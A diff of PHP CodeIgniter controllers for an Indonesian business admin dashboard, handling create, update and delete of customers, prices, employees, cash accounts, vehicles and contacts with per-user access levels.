'NAMA_CUSTOMER' => $nama_customer,
'NPWP_CUSTOMER' => $npwp_customer,
'ALAMAT_CUSTOMER' => $alamat_customer
];
$action = $this->Dashboard->update('customer', $update, 'ID_CUSTOMER', $id_customer);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageCustomer');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageCustomer');
}
}
public function hapus() {
$id_customer = $this->input->post('id_customerdel');
$datCustomer = $this->Dashboard->getData_RekapPajak_byCUSTOMER($id_customer);
if ($datCustomer==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageCustomer');
}
$action = $this ->Dashboard->delete('customer', $id_customer, 'ID_CUSTOMER');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageCustomer');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageCustomer');
}
}
}
@@ -0,0 +1,100 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageDaftarHarga extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDaftarHarga', 'Daftarharga');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index()
{
$datDaftarHarga = $this->Daftarharga->getData_DaftarHarga_forAdmin();
$set = 1;
$data = [
'sidebar' => "master data",
'navChild' => "",
'dh' => $datDaftarHarga,
'set' => $set
];
$this->load->view('master/DaftarHarga', $data);
}
public function dataDaftarHarga()
{
$datDaftarHarga = $this->Daftarharga->getData_DaftarHarga_forView();
$set = 0;
$data = [
'sidebar' => "master data",
'navChild' => "",
'dh' => $datDaftarHarga,
'set' => $set
];
$this->load->view('master/DaftarHarga', $data);
}
public function view()
{
$method = $this->input->post('method');
$id_barang = $this->input->post('id_barang');
$dealer_hsrp = $this->input->post('dealer_hsrp');
$user_hsrp = $this->input->post('user_hsrp');
$ket_barang = $this->input->post('ket_barang');
$tgl = date('Y-m-d');
$check_nilai = is_numeric($dealer_hsrp);
if ($check_nilai==FALSE) {
$dealer_hsrp = 0;
}
$check_nilai = is_numeric($user_hsrp);
if ($check_nilai==FALSE) {
$user_hsrp = 0;
}
if ($dealer_hsrp <= 0 or $user_hsrp <= 0) {
$this->session->set_flashdata('not_zero_negative', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
if ($ket_barang == "") {
$ket_barang = NULL;
}
$datSrp = $this->Daftarharga->getData_HargaSrp_byBARANG($id_barang);
$index = count($datSrp);
if ($datSrp[$index - 1]['DEALER_HSRP'] != $dealer_hsrp or $datSrp[$index - 1]['USER_HSRP'] != $user_hsrp) {
$input = [
'DEALER_HSRP' => $dealer_hsrp,
'USER_HSRP' => $user_hsrp,
'TGL_HSRP' => $tgl,
'BARANG_ID' => $id_barang
];
$action = $this->Daftarharga->create('harga_srp', $input);
}
$update = [
'KET_BARANG' => $ket_barang
];
$action = $this->Daftarharga->update('barang', $update, 'ID_BARANG', $id_barang);
if ($action) {
$this->session->set_flashdata('success', 'diperbaruhi');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'diperbaruhi');
redirect($_SERVER['HTTP_REFERER']);
}
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,120 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageJabatan extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datJabatan = $this->Dashboard->getData_Jabatan();
$no = 0;
foreach ($datJabatan as $key) {
$datKaryawan = $this->Dashboard->getData_Karyawan_byJABATAN($key['ID_JABATAN']);
if ($datKaryawan==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datJabatan[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['JABATAN_SHM']==0) {
$akses = "Tidak Berhak";
$datJabatan = NULL;
} else if ($datShm[0]['JABATAN_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['JABATAN_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'jabatan' => $datJabatan,
'hak' => $datShm[0]['JABATAN_SHM'],
'akses' => $akses,
];
$this->load->view('master/Jabatan', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_jabatan = $this->input->post('id');
$nama_jabatan = $this->input->post('nama_jabatan');
$nama_jabatan = strtoupper($nama_jabatan);
$input = [
'NAMA_JABATAN' => $nama_jabatan
];
$action = $this->Dashboard->create('jabatan', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageJabatan');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageJabatan');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_jabatan = $this->input->post('id_jabataned');
$nama_jabatan = $this->input->post('nama_jabataned');
$nama_jabatan = strtoupper($nama_jabatan);
$update = [
'NAMA_JABATAN' => $nama_jabatan
];
$action = $this->Dashboard->update('jabatan', $update, 'ID_JABATAN', $id_jabatan);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageJabatan');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageJabatan');
}
}
public function hapus() {
$id = $this->input->post('id_jabatandel');
$datKaryawan = $this->Dashboard->getData_Karyawan_byJABATAN($id);
if ($datKaryawan==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$action = $this->Dashboard->delete('jabatan', $id, 'ID_JABATAN');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageJabatan');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageJabatan');
}
}
}
@@ -0,0 +1,143 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageJenis extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datJenis = $this->Dashboard->getData_Jenis();
$no = 0;
foreach ($datJenis as $key) {
$datBarang = $this->Dashboard->getData_Barang_byJENIS($key['ID_JENIS']);
if ($datBarang==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datJenis[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['JENIS_SHM']==0) {
$akses = "Tidak Berhak";
$datJenis = NULL;
} else if ($datShm[0]['JENIS_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['JENIS_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'jenis' => $datJenis,
'hak' => $datShm[0]['JENIS_SHM'],
'akses' => $akses,
];
$this->load->view('master/Jenis', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_jenis = $this->input->post('id');
$nama_jenis = $this->input->post('nama_jenis');
$type_jenis = $this->input->post('type_jenis');
$tgl = date('d/m/Y H:i:s');
$input = [
'NAMA_JENIS' => $nama_jenis,
'TYPE_JENIS' => $type_jenis,
'LAST_UPDATE' => $tgl,
'KOMISI_DEALER' => '0',
'KOMISI_USER' => '0',
'BIAYA_SERVICE' => '0'
];
$action = $this->Dashboard->create('jenis', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageJenis');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageJenis');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_jenis = $this->input->post('id_jenised');
$nama_jenis = $this->input->post('nama_jenised');
$type_jenis = $this->input->post('type_jenised');
$tgl = date('d/m/Y H:i:s');
if ($id_jenis<=6) {
$this->session->set_flashdata('data_sistem', 'error');
redirect('ManageJenis');
}
$datBarang = $this->Dashboard->getData_Barang_byJENIS($id_jenis);
if ($datBarang==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageJenis');
}
$update = [
'NAMA_JENIS' => $nama_jenis,
'TYPE_JENIS' => $type_jenis,
'LAST_UPDATE' => $tgl,
];
$action = $this->Jenis->update('jenis', $update, 'ID_JENIS', $id_jenis);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageJenis');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageJenis');
}
}
public function hapus() {
$id = $this->input->post('id_jenisdel');
if ($id<=6) {
$this->session->set_flashdata('data_sistem', 'error');
redirect('ManageJenis');
}
$datBarang = $this->Dashboard->getData_Barang_byJENIS($id);
if ($datBarang==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageJenis');
}
$action = $this ->Jenis->delete('jenis', $id, 'ID_JENIS');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageJenis');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageJenis');
}
}
}
@@ -0,0 +1,173 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageKaryawan extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datKaryawan = $this->Dashboard->getData_Karyawan();
$datJabatan = $this->Dashboard->getData_Jabatan();
$no = 0;
foreach ($datKaryawan as $key) {
$datAbsensi = $this->Dashboard->getData_Absensi_byKARYAWAN($key['ID_KARYAWAN']);
$datSo = $this->Dashboard->getData_SalesOrder_byKARYAWAN($key['ID_KARYAWAN']);
$datPka = $this->Dashboard->getData_PiutangKaryawan_byKARYAWAN($key['ID_KARYAWAN']);
$datQc = $this->Dashboard->getData_QualityControl_byKARYAWAN($key['ID_KARYAWAN']);
if ($datAbsensi==TRUE OR $datSo==TRUE OR $datPka==TRUE OR $datQc==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datKaryawan[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['KARYAWAN_SHM']==0) {
$akses = "Tidak Berhak";
$datKaryawan = NULL;
} else if ($datShm[0]['KARYAWAN_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['KARYAWAN_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'karyawan' => $datKaryawan,
'jabatan' => $datJabatan,
'hak' => $datShm[0]['KARYAWAN_SHM'],
'akses' => $akses,
];
$this->load->view('master/Karyawan', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_karyawan = $this->input->post('id');
$id_jabatan = $this->input->post('id_jabatan');
$nama_karyawan = $this->input->post('nama_karyawan');
$nama_panggilan_karyawan = $this->input->post('nama_panggilan_karyawan');
$username = $this->input->post('username');
$password = $this->input->post('password');
$input = [
'JABATAN_ID' => $id_jabatan,
'NAMA_KARYAWAN' => $nama_karyawan,
'NAMA_PANGGILAN_KARYAWAN' => $nama_panggilan_karyawan,
'USERNAME' => $username,
'PASSWORD' => $password,
'STATUS_KARYAWAN' => '1'
];
$action = $this->Dashboard->create('karyawan', $input);
$id_karyawan = $this->Dashboard->getID_KaryawanMax();
$id_karyawan = $id_karyawan[0]['ID_KARYAWAN'];
$input = [
'KARYAWAN_ID' => $id_karyawan,
'AKUN_SHM' => '0',
'BANK_SHM' => '0',
'BARANG_SHM' => '0',
'CORP_SHM' => '0',
'CUSTOMER_SHM' => '0',
'JABATAN_SHM' => '0',
'JENIS_SHM' => '0',
'KARYAWAN_SHM' => '0',
'KAS_SHM' => '0',
'KELOMPOK_SHM' => '0',
'KENDARAAN_SHM' => '0',
'KONTAK_SHM' => '0',
'KOTA_SHM' => '0',
'MERK_SHM' => '0',
'MODEL_SHM' => '0',
'PART_SHM' => '0',
'PELANGGAN_SHM' => '0',
'PERKIRAAN_SHM' => '0',
'PIHAKKE3_SHM' => '0',
'POSISI_SHM' => '0',
'PROGRAM_SHM' => '0',
'SERVICECENTER_SHM' => '0',
'SUPPLIER_SHM' => '0',
'UNITSERVICE_SHM' => '0'
];
$action = $this->Dashboard->create('set_hakmaster', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageKaryawan');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageKaryawan');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_karyawan = $this->input->post('id_karyawaned');
$id_jabatan = $this->input->post('id_jabataned');
$nama_karyawan = $this->input->post('nama_karyawaned');
$nama_panggilan_karyawan = $this->input->post('nama_panggilan_karyawaned');
$username = $this->input->post('usernameed');
$password = $this->input->post('passworded');
$update = [
'JABATAN_ID' => $id_jabatan,
'NAMA_KARYAWAN' => $nama_karyawan,
'NAMA_PANGGILAN_KARYAWAN' => $nama_panggilan_karyawan,
'USERNAME' => $username,
'PASSWORD' => $password
];
$action = $this->Dashboard->update('karyawan', $update, 'ID_KARYAWAN', $id_karyawan);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageKaryawan');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageKaryawan');
}
}
public function hapus() {
$id = $this->input->post('id_karyawandel');
$datAbsensi = $this->Dashboard->getData_Absensi_byKARYAWAN($id);
$datSo = $this->Dashboard->getData_SalesOrder_byKARYAWAN($id);
$datPkar = $this->Dashboard->getData_PiutangKaryawan_byKARYAWAN($id);
$datQc = $this->Dashboard->getData_QualityControl_byKARYAWAN($id);
if ($datAbsensi==TRUE OR $datSo==TRUE OR $datPkar==TRUE OR $datQc==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageKaryawan');
}
$action = $this->Dashboard->delete('set_hakmaster', $id, 'KARYAWAN_ID');
$action = $this->Dashboard->delete('karyawan', $id, 'ID_KARYAWAN');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageKaryawan');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageKaryawan');
}
}
}
@@ -0,0 +1,126 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageKas extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datKas = $this->Dashboard->getData_Kas();
$no = 0;
foreach ($datKas as $key) {
$datKasbank = $this->Dashboard->getData_Kasbank_byKAS($key['ID_KAS']);
$datSk = $this->Dashboard->getData_SaldoKas_byKAS($key['ID_KAS']);
if ($datKasbank==TRUE OR $datSk==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datKas[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['KAS_SHM']==0) {
$akses = "Tidak Berhak";
$datKas = NULL;
} else if ($datShm[0]['KAS_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['KAS_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'kas' => $datKas,
'hak' => $datShm[0]['KAS_SHM'],
'akses' => $akses,
];
$this->load->view('master/Kas', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_kas = $this->input->post('id');
$kode_kas = $this->input->post('kode_kas');
$nama_kas = $this->input->post('nama_kas');
$kode_kas = strtoupper($kode_kas);
$nama_kas = strtoupper($nama_kas);
$input = [
'NAMA_KAS' => $nama_kas,
'KODE_KAS' => $kode_kas
];
$action = $this->Dashboard->create('kas', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageKas');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageKas');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_kas = $this->input->post('id_kased');
$kode_kas = $this->input->post('kode_kased');
$nama_kas = $this->input->post('nama_kased');
$kode_kas = strtoupper($kode_kas);
$nama_kas = strtoupper($nama_kas);
$update = [
'NAMA_KAS' => $nama_kas,
'KODE_KAS' => $kode_kas
];
$action = $this->Dashboard->update('kas', $update, 'ID_KAS', $id_kas);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageKas');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageKas');
}
}
public function hapus() {
$id = $this->input->post('id_kasdel');
$datSaldoKas = $this->Dashboard->getData_SaldoKas_byKAS($id);
$datKasbank = $this->Dashboard->getData_Kasbank_byKAS($id);
if ($datSaldoKas==TRUE OR $datKasbank==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageKas');
}
$action = $this ->Dashboard->delete('kas', $id, 'ID_KAS');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageKas');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageKas');
}
}
}
@@ -0,0 +1,123 @@
<?php
use Restserver\Libraries\REST_Controller;
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class ManageKelompok extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datKelompok = $this->Dashboard->getData_Kelompok();
$no = 0;
foreach ($datKelompok as $key) {
$datPelanggan = $this->Dashboard->getData_Pelanggan_byKELOMPOK($key['ID_KELOMPOK']);
if ($datPelanggan==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datKelompok[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['KELOMPOK_SHM']==0) {
$akses = "Tidak Berhak";
$datKelompok = NULL;
} else if ($datShm[0]['KELOMPOK_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['KELOMPOK_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'kelompok' => $datKelompok,
'hak' => $datShm[0]['KELOMPOK_SHM'],
'akses' => $akses,
];
$this->load->view('master/Kelompok', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id = $this->input->post('id_kelompok');
$nama_kelompok = $this->input->post('nama_kelompok');
$input = [
'NAMA_KELOMPOK' => $nama_kelompok
];
$action = $this->Dashboard->create('kelompok', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageKelompok');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageKelompok');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_kelompok = $this->input->post('id_kelompoked');
$nama_kelompok = $this->input->post('nama_kelompoked');
$update = [
'NAMA_KELOMPOK' => $nama_kelompok
];
$action = $this->Dashboard->update('kelompok', $update, 'ID_KELOMPOK', $id_kelompok);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageKelompok');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageKelompok');
}
}
public function hapus() {
$method = $this->input->post('method');
$id = $this->input->post('id_kelompokdel');
$datPelanggan = $this->Dashboard->getData_Pelanggan_byKELOMPOK($id);
if ($datPelanggan==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageKelompok');
}
$action = $this->Dashboard->delete('kelompok', $id, 'ID_KELOMPOK');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageKelompok');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageKelompok');
}
}
}
@@ -0,0 +1,125 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageKendaraan extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datKendaraan = $this->Dashboard->getData_Kendaraan();
$no = 0;
foreach ($datKendaraan as $key) {
$datBbe = $this->Dashboard->getData_BiayaBensin_byKENDARAAN($key['ID_KENDARAAN']);
$datBsk = $this->Dashboard->getData_BiayaServiceKendaraan_byKENDARAAN($key['ID_KENDARAAN']);
if ($datBbe==TRUE OR $datBsk==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datKendaraan[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['KENDARAAN_SHM']==0) {
$akses = "Tidak Berhak";
$datKendaraan = NULL;
} else if ($datShm[0]['KENDARAAN_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['KENDARAAN_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'kendaraan' => $datKendaraan,
'hak' => $datShm[0]['KENDARAAN_SHM'],
'akses' => $akses,
];
$this->load->view('master/Kendaraan', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_kendaraan = $this->input->post('id');
$nama_kendaraan = $this->input->post('nama_kendaraan');
$type_kendaraan = $this->input->post('type_kendaraan');
$nopol_kendaraan = $this->input->post('nopol_kendaraan');
$input = [
'NAMA_KENDARAAN' => $nama_kendaraan,
'TYPE_KENDARAAN' => $type_kendaraan,
'NOPOL_KENDARAAN' => $nopol_kendaraan
];
$action = $this->Dashboard->create('kendaraan', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageKendaraan');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageKendaraan');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_kendaraan = $this->input->post('id_kendaraaned');
$nama_kendaraan = $this->input->post('nama_kendaraaned');
$type_kendaraan = $this->input->post('type_kendaraaned');
$nopol_kendaraan = $this->input->post('nopol_kendaraaned');
$update = [
'NAMA_KENDARAAN' => $nama_kendaraan,
'TYPE_KENDARAAN' => $type_kendaraan,
'NOPOL_KENDARAAN' => $nopol_kendaraan
];
$action = $this->Dashboard->update('kendaraan', $update, 'ID_KENDARAAN', $id_kendaraan);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageKendaraan');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageKendaraan');
}
}
public function hapus() {
$id = $this->input->post('id_kendaraandel');
$datBbe = $this->Dashboard->getData_BiayaBensin_byKENDARAAN($id);
$datBse = $this->Dashboard->getData_BiayaServiceKendaraan_byKENDARAAN($id);
if ($datBbe==TRUE OR $datBse==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageKendaraan');
}
$action = $this ->Dashboard->delete('kendaraan', $id, 'ID_KENDARAAN');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageKendaraan');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageKendaraan');
}
}
}
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,190 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageKontak extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function dataKontak_Sales_A1($id_akun=null) {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datAkun = $this->Dashboard->getData_Akun();
$datPosisi = $this->Dashboard->getData_Posisi();
if ($id_akun==NULL) {
$title = "Belum Terpilih*";
$kontak = $this->Dashboard->getData_Kontak();
} else {
$dataAkun = $this->Dashboard->getData_Akun($id_akun);
$nama_akun = $dataAkun[0]['NAMA_AKUN'];
$title = "$nama_akun";
$kontak = $this->Dashboard->getData_Kontak($id_akun);
}
$no = 0;
foreach ($kontak as $key) {
$datSav = $this->Dashboard->getData_SalesVisit_byKONTAK($key['ID_KONTAK']);
if ($datSav==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$kontak[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['KONTAK_SHM']==0) {
$akses = "Tidak Berhak";
$kontak = NULL;
} else if ($datShm[0]['KONTAK_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['KONTAK_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'title' => $title,
'kontak' => $kontak,
'akun' => $datAkun,
'posisi' => $datPosisi,
'id_akun' => $id_akun,
'hak' => $datShm[0]['KONTAK_SHM'],
'akses' => $akses,
];
$this->load->view('master/Kontak', $data);
}
public function simpankontak_A1() {
$method = $this->input->post('method');
$id_kontak = $this->input->post('id');
$id_akun = $this->input->post('id_akun');
$id_posisi = $this->input->post('id_posisi');
$nama_kontak = $this->input->post('nama_kontak');
$email_kontak = $this->input->post('email_kontak');
$telp_kontak = $this->input->post('telp_kontak');
$ket_kontak = $this->input->post('ket_kontak');
$datKontak = $this->Dashboard->getData_Kontak_byNAMA($nama_kontak);
foreach ($datKontak as $key) {
if ($id_akun==$key['AKUN_ID'] AND $id_posisi==$key['POSISI_ID']) {
$this->session->set_flashdata('data_copy', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
}
$ket_kontak = preg_replace('/\R+/', " " , $ket_kontak);
$input = [
'AKUN_ID' => $id_akun,
'POSISI_ID' => $id_posisi,
'NAMA_KONTAK' => $nama_kontak,
'EMAIL_KONTAK' => $email_kontak,
'TELP_KONTAK' => $telp_kontak,
'KET_KONTAK' => $ket_kontak,
];
$action = $this->Dashboard->create('kontak', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function ubahkontak_A1() {
$method = $this->input->post('method');
$id_kontak = $this->input->post('id_kontaked');
$id_akun = $this->input->post('id_akuned');
$id_posisi = $this->input->post('id_posisied');
$nama_kontak = $this->input->post('nama_kontaked');
$email_kontak = $this->input->post('email_kontaked');
$telp_kontak = $this->input->post('telp_kontaked');
$ket_kontak = $this->input->post('ket_kontaked');
$datKontak = $this->Dashboard->getData_Kontak_byNAMA($nama_kontak, $id_kontak);
foreach ($datKontak as $key) {
if ($id_akun==$key['AKUN_ID'] AND $id_posisi==$key['POSISI_ID']) {
$this->session->set_flashdata('data_copy', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
}
$ket_kontak = preg_replace('/\R+/', " " , $ket_kontak);
$update = [
'AKUN_ID' => $id_akun,
'POSISI_ID' => $id_posisi,
'NAMA_KONTAK' => $nama_kontak,
'EMAIL_KONTAK' => $email_kontak,
'TELP_KONTAK' => $telp_kontak,
'KET_KONTAK' => $ket_kontak,
];
$action = $this->Dashboard->update('kontak', $update, 'ID_KONTAK', $id_kontak);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function hapuskontak_A1() {
$id = $this->input->post('id_kontakdel');
$datSav = $this->Dashboard->getData_SalesVisit_byKONTAK($id);
if ($datSav==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$action = $this->Dashboard->delete('kontak', $id, 'ID_KONTAK');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function simpan_excel_kontak() {
$id_akun = $this->input->post('id_akun');
$pilih_tabel = array('No', 'Akun', 'Nama' ,'Posisi', 'Telepon', 'Email', 'Keterangan');
$tgl = date('d/m/Y');
if ($id_akun == NULL ) {
$dataExcel = $this->Dashboard->getData_Kontak();
} else {
$dataExcel = $this->Dashboard->getData_Kontak($id_akun);
}
$data = [
'title' => '',
'jumlah_kolom' => count($pilih_tabel),
'nama_tabel' => $pilih_tabel,
'laporan' => $dataExcel,
'tgl' => $tgl,
];
$this->load->view('cetak/excel_kontak', $data);
}
}
@@ -0,0 +1,121 @@
<?php
